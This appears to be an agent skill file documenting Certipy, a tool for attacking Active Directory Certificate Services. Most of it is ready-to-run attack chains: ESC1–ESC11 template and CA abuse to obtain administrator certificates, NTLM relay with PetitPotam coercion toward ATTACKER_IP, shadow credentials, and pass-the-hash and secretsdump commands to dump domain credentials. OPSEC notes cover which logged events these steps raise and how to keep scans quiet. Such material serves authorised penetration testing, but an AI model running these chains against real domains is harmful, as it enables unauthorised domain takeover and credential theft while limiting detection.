certipy

name: certipy description: "Auth/lab ref: Python-based AD Certificate Services testing tool." license: MIT compatibility: "Linux/macOS/Windows; Python 3.9+." metadata: author: AeonDave version: "1.0"

Certipy

Python ADCS attack toolkit — enumerate templates, exploit ESC misconfigs, shadow credentials, PKINIT auth.

Installation

pipx install certipy-ad
# or
pip install certipy-ad

Authentication Syntax

# Password
certipy COMMAND -u user@DOMAIN -p password -dc-ip DC_IP

# Hash (PTH)
certipy COMMAND -u user@DOMAIN -hashes :NTHASH -dc-ip DC_IP

# Kerberos ccache
certipy COMMAND -u user@DOMAIN -k -dc-ip DC_IP

1. Enumeration

find — discover ADCS attack surface

# Full enumeration — save to JSON+txt
certipy find -u user@DOMAIN -p pass -dc-ip DC_IP -stdout

# Save results for offline review
certipy find -u user@DOMAIN -p pass -dc-ip DC_IP -output certipy_results

# Show only vulnerable templates
certipy find -u user@DOMAIN -p pass -dc-ip DC_IP -vulnerable -stdout

# Include enabled templates only
certipy find -u user@DOMAIN -p pass -dc-ip DC_IP -enabled -stdout

Output fields to inspect:

• [!] Vulnerabilities → ESC flags detected
• Enrollment Rights → who can enroll (domain users = broad attack surface)
• Extended Key Usage → if empty or "Any Purpose" = very dangerous
• Enrollee Supplies Subject → if True = ESC1 candidate
• CA Name → target for request

2. ESC Attack Chains

ESC1 — Enrollee Supplies Subject Alternative Name

Template allows requester to set arbitrary SAN. Request cert as any user including DA.

# 1. Identify ESC1 template
certipy find -u user@DOMAIN -p pass -dc-ip DC -vulnerable -stdout | grep -A5 "ESC1"

# 2. Request cert for administrator via SAN
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template TEMPLATE_NAME -upn administrator@DOMAIN -dc-ip DC

# 3. Authenticate with cert → get NT hash
certipy auth -pfx administrator.pfx -domain DOMAIN -username administrator -dc-ip DC

# 4. PTH with recovered hash
secretsdump.py -hashes :NTHASH DOMAIN/administrator@DC

Full one-liner chain:

certipy req -u user@DOMAIN -p pass -ca "CORP-CA" -template "UserTemplate" -upn administrator@DOMAIN -dc-ip DC && \
certipy auth -pfx administrator.pfx -dc-ip DC

ESC2 — Any Purpose or No EKU

Template has Any Purpose EKU or no EKU at all — can be used like ESC1 (SubjectAltName allowed when requesting as agent).

# Same workflow as ESC1 — request with -upn
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template TEMPLATE_NAME -upn administrator@DOMAIN -dc-ip DC
certipy auth -pfx administrator.pfx -dc-ip DC

ESC3 — Certificate Request Agent

Two-step: request enrollment agent cert, then use it to enroll on behalf of another user.

# Step 1 — get enrollment agent cert
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template "Enrollment Agent Template" -dc-ip DC

# Step 2 — enroll on behalf of administrator using agent cert
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template "Target Template" \
  -on-behalf-of DOMAIN\\administrator -pfx agent.pfx -dc-ip DC

# Step 3 — auth
certipy auth -pfx administrator.pfx -dc-ip DC

ESC4 — Vulnerable Template ACL (WriteProperty/WriteDacl)

Attacker can modify template properties to introduce ESC1 vulnerability.

# 1. Save original template config
certipy template -u user@DOMAIN -p pass -template TEMPLATE_NAME -save-old -dc-ip DC

# 2. Modify template to enable SAN (makes it ESC1)
certipy template -u user@DOMAIN -p pass -template TEMPLATE_NAME -configuration TEMPLATE_NAME.json -dc-ip DC

# 3. Now exploit as ESC1
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template TEMPLATE_NAME -upn administrator@DOMAIN -dc-ip DC
certipy auth -pfx administrator.pfx -dc-ip DC

# 4. Restore template after exploit
certipy template -u user@DOMAIN -p pass -template TEMPLATE_NAME -configuration TEMPLATE_NAME.old.json -dc-ip DC

ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 on CA

CA has flag set that allows SAN in ALL requests regardless of template settings.

# Any template becomes exploitable — just add -upn
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template User -upn administrator@DOMAIN -dc-ip DC
certipy auth -pfx administrator.pfx -dc-ip DC

ESC7 — Vulnerable CA ACL (ManageCertificates / ManageCA)

Attacker has Manage CA or Manage Certificates on the CA itself.

# Option A — ManageCA: enable ESC6 on CA then exploit
certipy ca -u user@DOMAIN -p pass -ca CA-NAME -enable-userspecifiedsan -dc-ip DC
# Now ESC6 workflow works

# Option B — ManageCertificates: issue pending/failed cert requests
# 1. Request cert (it will fail without ManageCA)
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template SubCA -dc-ip DC
# 2. Issue the denied request (get request ID from step 1 output)
certipy ca -u user@DOMAIN -p pass -ca CA-NAME -issue-request REQUEST_ID -dc-ip DC
# 3. Retrieve issued cert
certipy req -u user@DOMAIN -p pass -ca CA-NAME -retrieve REQUEST_ID -dc-ip DC
certipy auth -pfx administrator.pfx -dc-ip DC

ESC8 — NTLM Relay to AD CS HTTP Enrollment Endpoint

Relay NTLM auth of machine account or user to the ADCS HTTP Web Enrollment endpoint — get cert for that account.

# 1. Start certipy relay listener
certipy relay -ca CA_IP -template DomainController -dc-ip DC_IP

# 2. Coerce target machine to authenticate (Coercer, PetitPotam, PrinterBug)
coercer.py -t TARGET_DC -l ATTACKER_IP
# or
python3 PetitPotam.py ATTACKER_IP TARGET_DC

# 3. Certipy auto-retrieves cert and converts to pfx
# 4. Auth with cert → get NT hash of DC machine account
certipy auth -pfx dc.pfx -dc-ip DC_IP

# 5. DCSync using DC machine hash
secretsdump.py -hashes :DC_NTHASH DOMAIN/DC$@DC_IP

ESC9 — No Security Extension (CT_FLAG_NO_SECURITY_EXTENSION)

Template does not embed security extension — certificate mapping can be abused if account UPN is controllable.

# Requires GenericWrite on a target account
# 1. Change target account UPN to administrator UPN
certipy account -u attacker@DOMAIN -p pass -user targetuser -upn administrator@DOMAIN -dc-ip DC

# 2. Request cert as targetuser (uses administrator UPN due to no security extension)
certipy req -u targetuser@DOMAIN -p targetpass -ca CA-NAME -template TEMPLATE_NAME -dc-ip DC

# 3. Restore original UPN
certipy account -u attacker@DOMAIN -p pass -user targetuser -upn targetuser@DOMAIN -dc-ip DC

# 4. Auth with cert — maps to administrator
certipy auth -pfx administrator.pfx -dc-ip DC

ESC11 — NTLM Relay to ADCS RPC (ICertPassage)

Relay NTLM to ADCS RPC interface instead of HTTP — same goal as ESC8.

certipy relay -target rpc://CA_IP -ca CA-NAME -template DomainController
# Then coerce auth as in ESC8

3. Shadow Credentials

Abuse msDS-KeyCredentialLink — add a key credential to a user/computer, then auth via PKINIT without their password.

# 1. Add shadow credential to target account (requires GenericWrite/WriteProperty)
certipy shadow auto -u user@DOMAIN -p pass -account TARGETACCOUNT -dc-ip DC

# Output: saves .pfx and prints NT hash of target
# certipy auto handles: add key → auth → remove key (clean)

# Manual steps if needed
certipy shadow add -u user@DOMAIN -p pass -account TARGET -dc-ip DC
certipy auth -pfx TARGET.pfx -dc-ip DC
certipy shadow remove -u user@DOMAIN -p pass -account TARGET -device-id DEVICE_ID -dc-ip DC

When useful:

• GenericWrite on user → get their NT hash without knowing password
• GenericWrite on computer → get machine account hash → RBCD or DCSync chain

4. Certificate Authentication (PKINIT)

Authenticate to KDC using a certificate. Retrieves TGT + NT hash via PKINIT U2U.

# Auth and get NT hash
certipy auth -pfx user.pfx -domain DOMAIN -username user -dc-ip DC

# PTH with recovered hash
secretsdump.py DOMAIN/user@DC -hashes :NTHASH

# Kerberos ccache output for tool use
certipy auth -pfx user.pfx -dc-ip DC
export KRB5CCNAME=user.ccache

5. CA Management

# List CAs
certipy ca -u user@DOMAIN -p pass -dc-ip DC -list

# List enabled templates on CA
certipy ca -u user@DOMAIN -p pass -ca CA-NAME -list-templates -dc-ip DC

# Enable template (requires ManageCA)
certipy ca -u user@DOMAIN -p pass -ca CA-NAME -enable-template TEMPLATE_NAME -dc-ip DC

# Disable template
certipy ca -u user@DOMAIN -p pass -ca CA-NAME -disable-template TEMPLATE_NAME -dc-ip DC

# Enable SAN flag (ESC6)
certipy ca -u user@DOMAIN -p pass -ca CA-NAME -enable-userspecifiedsan -dc-ip DC

6. Cert Conversion

# PEM to PFX
certipy cert -pfx cert.pem key.pem -export -out output.pfx

# PFX to PEM
certipy cert -pfx cert.pfx -export -pem

# PFX with password
certipy cert -pfx cert.pfx -password pfxpass -export -pem

7. Common Full Attack Chains

Fast ESC1 chain (most common)

# Recon
certipy find -u user@DOMAIN -p pass -dc-ip DC -vulnerable -stdout

# Request as DA
certipy req -u user@DOMAIN -p pass -ca "CORP-CA" -template "VulnTemplate" -upn administrator@DOMAIN -dc-ip DC

# Auth → hash
certipy auth -pfx administrator.pfx -dc-ip DC

# Dump domain
secretsdump.py DOMAIN/administrator@DC -hashes :ADMIN_HASH

ESC8 relay chain (machine account → DA)

# Terminal 1 — relay
certipy relay -ca CA_IP -template DomainController -dc-ip DC

# Terminal 2 — coerce DC
python3 PetitPotam.py ATTACKER_IP DC_IP

# After relay: auth with DC cert
certipy auth -pfx dc.pfx -dc-ip DC
secretsdump.py -hashes :DC_HASH DOMAIN/DC$@DC_IP

GenericWrite → shadow creds → DA

# BloodHound identifies GenericWrite on svc_account
certipy shadow auto -u user@DOMAIN -p pass -account svc_account -dc-ip DC
# If svc_account is admin, done
# If not: use NT hash to enumerate further

OPSEC Notes

• certipy find generates LDAP queries to enumerate CAs/templates — visible in LDAP logs
• certipy req generates a certificate request event (4886) on the CA — logged
• certipy auth PKINIT auth generates Kerberos TGT events (4768) with cert info
• Shadow credentials: modifying msDS-KeyCredentialLink generates Event 5136 (object modified)
• ESC8 relay: NTLM relay events on CA HTTP endpoint — monitor IIS logs on CA
• Prefer -vulnerable -stdout over full scan to minimize noise
• Always restore template changes (ESC4) after exploitation

Resources